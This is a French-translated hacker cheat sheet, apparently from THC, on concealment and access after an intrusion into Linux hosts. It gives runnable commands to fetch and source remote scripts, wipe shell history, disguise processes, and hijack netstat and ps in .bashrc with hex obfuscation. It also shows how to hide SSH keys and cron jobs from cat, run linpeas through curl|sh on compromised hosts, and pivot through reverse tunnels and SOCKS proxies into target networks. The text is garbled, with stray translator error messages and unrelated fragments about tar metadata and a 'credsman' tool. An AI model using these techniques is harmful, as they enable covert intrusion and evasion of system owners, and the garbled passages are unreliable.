
Various tips & tricks
Une collection de nos astuces préférées. Beaucoup de ces astuces ne viennent pas de nous. Nous nous contentons de les collecter.
Nous montrons les astuces telles quelles, sans expliquer pourquoi elles fonctionnent. Vous devez connaître Linux pour comprendre comment et pourquoi elles fonctionnent.
Vous avez des astuces ? Rejoignez-nous https://thc.org/ops
1.i. Configurer un Hack Shell (bash) :
Rend BASH moins bruyant. Désactive ~/.bash_history et beaucoup d'autres choses.```sh source <(curl -SsfL https://thc.org/hs)
URL alternative :```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
Et s'il n'y a pas de curl/wget, utilisez surl et curl installé (temporairement) avec bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell fait bien plus, mais surtout ceci :```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Nous utilisons beaucoup anew, et voici une solution de contournement rapide :```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Astuce bonus :
Toute commande commençant par un " " (espace) ne sera [pas enregistrée dans l'historique](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) non plus.```
$ id
1.ii. Masquez votre commande / Daemonisez votre commande
Cela masquera uniquement le nom du processus. Utilisez zapper pour masquer également les options de la ligne de commande.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
Démarrez un 'nmap' en arrière-plan, caché sous '/usr/sbin/sshd' :```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
Commencez dans un GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
Alternativement, copiez le binaire sous un nouveau nom :```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
ou utilisez un bind-mount pour (temporairement) faire pointer /sbin/init vers /dev/shm/nmap à la place :```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. Masquez vos options de ligne de commande**
Utilisez [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. Masquer une connexion réseau**
L'astuce consiste à détourner `netstat` et à utiliser grep pour filtrer notre connexion. Cet exemple filtre toute connexion sur le port 31337 _ou_ l'IP 1.2.3.4. Il faut faire de même pour `ss` (une alternative à netstat).
**Méthode 1 - Masquer une connexion avec une fonction bash dans ~/.bashrc**
Coupez et collez ceci pour ajouter la ligne à ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
Ou copiez-collez ceci pour une entrée obfusquée dans /.bashrc :```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
L'entrée obfusquée dans ~/.bashrc ressemblera à ceci :```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
Méthode 2 - Masquer une connexion avec un binaire dans $PATH
Créez un faux binaire netstat dans /usr/local/sbin. Sur un Debian par défaut (et la plupart des Linux), la variable PATH (echo $PATH) liste /usr/local/sbin avant /usr/bin. Cela signifie que notre binaire de détournement /usr/local/sbin/netstat sera exécuté à la place de /usr/bin/netstat.```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(merci iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. Masquer un processus en tant qu'utilisateur**
Poursuivant de « Cacher une connexion », la même technique peut être utilisée pour masquer un processus. Cet exemple masque le processus nmap et veille également à ce que notre `grep` n'apparaisse pas dans la liste des processus en le renommant en GREP :```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
1.vi. Masquer un processus en tant que root
Cela nécessite les privilèges root et est une vieille astuce Linux consistant à monter par-dessus /proc/<pid> avec un répertoire inutile :```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
Pour masquer une commande, utilisez :```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(merci à druichi pour cette amélioration)
1.vii. Masquer les scripts shell
Plus haut, nous avons expliqué comment obfusquer une ligne dans ~/.bashrc. Une astuce souvent utilisée consiste à utiliser source à la place. La commande source peut être raccourcie en . (oui, un point) et elle recherche également dans la variable $PATH le fichier à charger.
Dans cet exemple, notre script prng contient toutes nos fonctions shell ci-dessus. Ces fonctions masquent le processus nmap et la connexion réseau. Enfin, nous ajoutons . prng dans le fichier rc système. Cela chargera prng lorsque l'utilisateur (et root) se connecte :```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(La même chose fonctionne pour `lsof`, `ss` et `ls`)
<a id="cat"></a>
**1.viii. Se cacher de cat**
Les caractères d'échappement ANSI ou un simple `\r` ([retour chariot](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) peuvent être utilisés pour se cacher de `cat` et autres.
Cacher la dernière commande (exemple : `id`) dans `~/.bashrc` :```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
Ajouter une ligne crontab cachée :```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
Ajouter un `\r` (retour chariot) aide beaucoup à cacher votre clé ssh de `cat` :```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
1.ix. Exécuter en parallèle avec des fichiers de log séparés*
Note: On peut obtenir le même résultat avec parallel.
Scannez les hôtes avec 20 tâches parallèles:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` est utilisé pour remplacer le shell sous-jacent par le dernier processus (nmap). C'est facultatif mais réduit le nombre de binaires shell inutiles en cours d'exécution.
- `${SLOT}` contient une valeur entre 0 et 19. C'est le « numéro de tâche ». Nous l'utilisons pour écrire les résultats nmap dans 20 fichiers séparés.
Exécutez [Linpeas](https://github.com/carlospolop/PEASS-ng) sur tous les hôtes [gsocket](https://www.gsocket.io/deploy) en utilisant 40 workers :```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
Vous empêche d'apparaître dans la commande w ou who et empêche d'enregistrer l'hôte dans ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
Profitez d'un confort total avec PTY et les couleurs : `xssh [email protected]` :```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(See Hackshell)
2.ii Plusieurs shells via 1 connexion SSH/TCP
Ayez une connexion TCP vers la cible et permettez à plusieurs utilisateurs de se greffer sur la même connexion TCP pour ouvrir d'autres sessions shell.
Créez une connexion maître :```sh ssh -M -S .sshmux [email protected]
Créez d'autres sessions shell en utilisant la même connexion Master-TCP (unique) ci-dessus (aucun mot de passe / authentification requis) :```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
Peut être combiné avec xssh pour se cacher d'utmp.
Nous l'utilisons tout le temps pour contourner les pare-feux locaux et le filtrage IP :```sh ssh -g -L31337:1.2.3.4:80 [email protected]
Vous ou n'importe qui d'autre pouvez désormais vous connecter à votre ordinateur sur le port 31337 et être tunnelé vers 1.2.3.4 port 80 et apparaître avec l'IP source de 'server.org'. Une alternative, sans nécessiter de serveur, consiste à utiliser [gs-netcat](#backdoor-network).
Les hackers ingénieux utilisent la combinaison de touches `~C` pour créer dynamiquement ces tunnels sans avoir à se reconnecter en SSH. (merci MessedeDegod).
Nous utilisons cela pour donner à un ami l'accès à une machine interne qui n'est pas sur l'Internet public :```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Toute personne se connectant à server.org:31338 sera acheminée par tunnel vers 192.168.0.5 sur le port 80 via votre ordinateur. Une alternative, sans nécessiter de serveur, consiste à utiliser gs-netcat.
OpenSSH 7.6 ajoute la prise en charge de socks pour le forwarding dynamique. Exemple : Tunnelisez tout le trafic de votre navigateur via votre serveur.```sh ssh -D 1080 [email protected]
Maintenant, configurez votre navigateur pour utiliser SOCKS avec 127.0.0.1:1080. Tout votre trafic est désormais tunnelisé via *server.org* et apparaîtra avec l'adresse IP source de *server.org*. Une alternative, sans nécessiter de serveur, consiste à utiliser [gs-netcat](#backdoor-network).
Ceci est l'inverse de l'exemple ci-dessus. Cela donne à d'autres l'accès à votre réseau *local* ou permet à d'autres d'utiliser votre ordinateur comme point de terminaison de tunnel.```sh
ssh -g -R 1080 [email protected]
Les autres, configurant server.org:1080 comme proxy SOCKS4/5, peuvent désormais se connecter à n'importe quel ordinateur sur n'importe quel port auquel votre ordinateur a accès. Cela inclut l'accès aux ordinateurs derrière votre pare-feu qui se trouvent sur votre réseau local. Une alternative, sans avoir besoin d'un serveur, consiste à utiliser gs-netcat.
2.v SSH vers un hôte derrière NAT
ssh-j.com fournit un excellent service de relais : pour accéder à un hôte derrière NAT/pare-feu (via SSH).
Sur l'hôte derrière NAT : créez un tunnel SSH inverse vers ssh-j.com comme ceci :```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
Utilisez ensuite cette commande depuis n'importe où dans le monde pour vous connecter en tant que « root » à « foobarblahblub » (l'hôte derrière le NAT) :```sh
ssh -J [email protected] root@foobarblahblub
La connexion ssh passe par ssh-j.com dans le tunnel inverse vers l'hôte derrière NAT. Le trafic est chiffré de bout en bout et ssh-j.com ne peut pas voir le contenu.
2.vi Pivot SSH vers plusieurs serveurs
SSH ProxyJump peut vous faire gagner beaucoup de temps et vous éviter bien des tracas lorsque vous travaillez avec des serveurs distants. Prenons le scénario suivant :
Notre poste de travail est $local-kali et nous souhaitons nous connecter en SSH à $target-host. Il n'y a aucune connexion directe entre notre poste de travail et $target-host. Notre poste de travail ne peut joindre que $C2. $C2 peut joindre $internal-jumphost (via eth1 interne) et $internal-jumphost peut joindre le $target-host final via eth2.```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> Nous n'exécutons `ssh` sur aucun ordinateur, sauf sur notre poste de travail de confiance - et vous ne le ferez jamais non plus.
C'est là que ProxyJump entre en jeu : nous pouvons « sauter » via les deux serveurs intermédiaires $C2 et $internal-jumphost (sans lancer de shell sur ces serveurs). La connexion ssh est chiffrée de bout en bout entre notre $local-kali et $target-host, et aucun mot de passe ni clé n'est exposé à $C2 ou $internal-jumphost.```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
Nous l'utilisons également pour masquer notre adresse IP lors de la connexion à des serveurs.
2.vii SSHD en espace utilisateur
Il est possible de démarrer un serveur SSHD en tant qu'utilisateur non-root et de l'utiliser pour multiplexer ou transférer des connexions TCP (sans journalisation et lorsque le SSHD système interdit le transfert/le multiplexage) ou comme serveur de dump/exfiltration rapide fonctionnant sans privilèges root :```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF est une alternative pour multiplexer TCP sur TLS.
nmap -n -sn -PR -oG - 192.168.0.1/24
No content was provided for translation. Please supply the actual Markdown text for chunk 82 so it can be translated from English to French.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
untrustedLe paquet déclare un champ untrusted qui sera ajouté aux métadonnées du paquet en cours d’extraction. Toute valeur évaluée à vrai empêchera que les liens des fichiers extraits soient conservés à l’identique de ceux du fichier tar. À la place, les liens physiques sont remplacés par des copies, et les liens symboliques sont vérifiés pour s’assurer que leur cible est sûre, puis transformés en un fichier ordinaire avec le même contenu.
untrusted peut être défini en tant que booléen directement dans l’appel à Unpack, ou comme un indicateur dans les métadonnées du paquet. Définir hdr.Format = tar.FormatUnknown ou hdr.Format = tar.FormatGNU définit le champ untrusted de l’en-tête du paquet à true.```sh
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
3.iii. Tunnel et redirection```sh
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
I don't see any content to translate — the input after "INPUT:" is empty. There is no Markdown text, headings, or code blocks in this chunk. Since there is nothing to translate, I have nothing to output.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
3.iii.a Ports TCP bruts inversés
Utile pour les backdoors inversées qui nécessitent un port TCP sur une adresse IP publique :
En utilisant segfault.net (gratuit) :```sh
curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)
En utilisant [bore.pub](https://github.com/ekzhang/bore) (gratuit) :```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub
en utilisant serveo.net (gratuit):```sh
ssh -R 0:localhost:31337 [email protected]
en utilisant [pinggy.io](https://www.pinggy.io) (60 minutes gratuites):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]
Voir aussi remote.moe (gratuit) pour transférer le TCP brut de la cible vers votre poste de travail, ou playit (gratuit) ou ngrok (abonnement payant) pour transférer un port TCP public brut.
Les autres services gratuits ne permettent que le transfert de HTTPS (pas de TCP brut). Quelques astuces ci-dessous montrent comment tunneler le TCP brut à travers des transferts HTTPS (en utilisant des websockets).
3.iii.b Tunnels inversés HTTPS
Sur le serveur, utilisez l'un de ces trois services de tunneling HTTPS:```sh
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate
Either service will generate a new temporary HTTPS-URL for you to use.
Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:
A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. Transférer le TCP brut via HTTPS:```sh
gost -L mws://:8080
Redirigez le port 2222 vers le port 22 du serveur.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
ou utilisez le serveur comme nœud de sortie Socks-Proxy (par ex. accédez à n'importe quel hôte à l'intérieur du réseau du serveur ou même à Internet via le serveur (en utilisant le tunnel inverse HTTPS ci-dessus):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
Plus : [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) et [Tunnel via Cloudflare vers n'importe quel service TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) et [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c Faire rebondir le trafic avec iptables**
Faites rebondir le trafic à travers un hôte/routeur sans avoir à exécuter un proxy ou un forwarder en espace utilisateur :```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(Voir Hackshell bounce)
Ensuite, définissez les redirections comme suit :```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
Nous utilisons cette astuce pour atteindre le gsocket-relay-network (ou TOR) depuis l'intérieur de réseaux protégés par des pare-feu.```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
Utile sur un hôte situé dans le réseau cible. Cet outil reconfigure (sans laisser de trace) le SHELL : tout programme (nmap, cme, ...) lancé depuis ce SHELL utilisera une fausse adresse IP. Toutes vos attaques proviendront d'un hôte qui n'existe pas.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
Cela fonctionne également en combinaison avec :
* [Serveurs ROOT de Segfault](https://thc.org/segfault/wireguard) : Connectera votre serveur ROOT au RÉSEAU CIBLE et utilisera une IP fantôme à l'intérieur du réseau cible.
* [Tunnels QEMU](https://securelist.com/network-tunneling-with-qemu/111803/) : Comme ci-dessus, mais moins sécurisé.
---
<a id="tunnel-more"></a>
**3.vi.d Diverses astuces de tunnel**
### Tunnel via CDN
* Lisez [Comment tunnéliser n'importe quel service TCP via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou utilisez [DarkFlare](https://github.com/doxx/darkflare).
### Connectez votre hôte directement au réseau distant
* [WireTap](https://github.com/sandialabs/wiretap) - Fonctionne en tant qu'utilisateur ou root. Utilise UDP comme transport. ([Essayez-le](https://thc.org/segfault/wireguard) sur segfault.)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Utilise TCP comme transport. Fonctionne bien via [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou gs-netcat.
### Utiliser SSH comme proxy inverse économique via Cloudflare
Cette méthode est similaire aux [tunnels inverses HTTPS](#https) mais utilise SSH au lieu de Gost ou websocat.
- Avantage : Utilise uniquement *cloudflared* et *SSH* sur la cible.
- Inconvénient : Nécessite un abonnement CF.
1. Allez dans votre tableau de bord CF -> Zero Trust -> Networks -> Tunnels
2. Créez un nouveau tunnel 'Cloudflared' avec n'importe quel nom.
3. Sélectionnez Debian et 64-bit. Le jeton n'est pas entièrement affiché. Extrayez le "Token" en copiant la zone grisée dans un document séparé pour révéler l'intégralité du jeton (les longues chaînes hexadécimales après `sudo cloudflared service install <TunnelTokenHere>`).
4. Ajoutez un sous-domaine (l'exemple utilise `ssh.team-teso.net`).
5. Définissez Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
Please provide the Markdown content to translate.```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
pour également configurer le service pour chaque utilisateur créé, vous pouvez utiliser votre service de configuration avec le flag `-e` | `--every` : `credsman -e`
# Fournissez au service de configuration une liste d'utilisateurs (séparés par des sauts de ligne) via le flag `-i` | `--import`.
Ou vous pouvez fournir un seul utilisateur via le flag `-u` | `--username`.
# Exemple : `credsman -e -i /path/to/file.txt`
Ou `credsman -e -u test_user`
### Exécutable Unix```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
Utilisez ProxyChains ou GrafTCP pour tunneler d'autres protocoles via le proxy inverse.
3.iv. Utilisez n'importe quel outil via un proxy Socks
Sur le réseau de la cible :```sh
gs-netcat -l -S
Sur votre poste de travail :```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### Utilisation de GrafTCP :```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. Trouvez votre adresse IP publique```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
Obtenez des informations de géolocalisation sur n'importe quelle adresse IP :```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
Obtenez les informations ASN par adresse IP :```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
Vérifiez si TOR fonctionne :```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
3.vi. Vérifier l'accessibilité depuis le monde entier
Les gens de https://ping.pe/ vous permettent d'effectuer un ping/traceroute/mtr/dig/port-check sur un hôte depuis le monde entier, de vérifier les ports TCP, de résoudre un nom de domaine, ...et bien d'autres choses.
Pour vérifier dans quelle mesure votre hôte (actuel) peut atteindre Internet, utilisez OONI Probe :```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. Vérifier/Scanner les ports ouverts sur une adresse IP**
Service de recherche de ports [Censys](https://search.censys.io/) ou [Shodan](https://internetdb.shodan.io) :```shell
curl https://internetdb.shodan.io/1.1.1.1
Scan rapide de vulnérabilités (-F)```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
Scanner les ports TCP ouverts:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(Voir Hackshell scan)
Simple scanner de ports bash :```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. Cracker les mots de passe**
1. [NTLM2password](https://ntlm.pw/) pour cracker (rechercher) les mots de passe NTLM
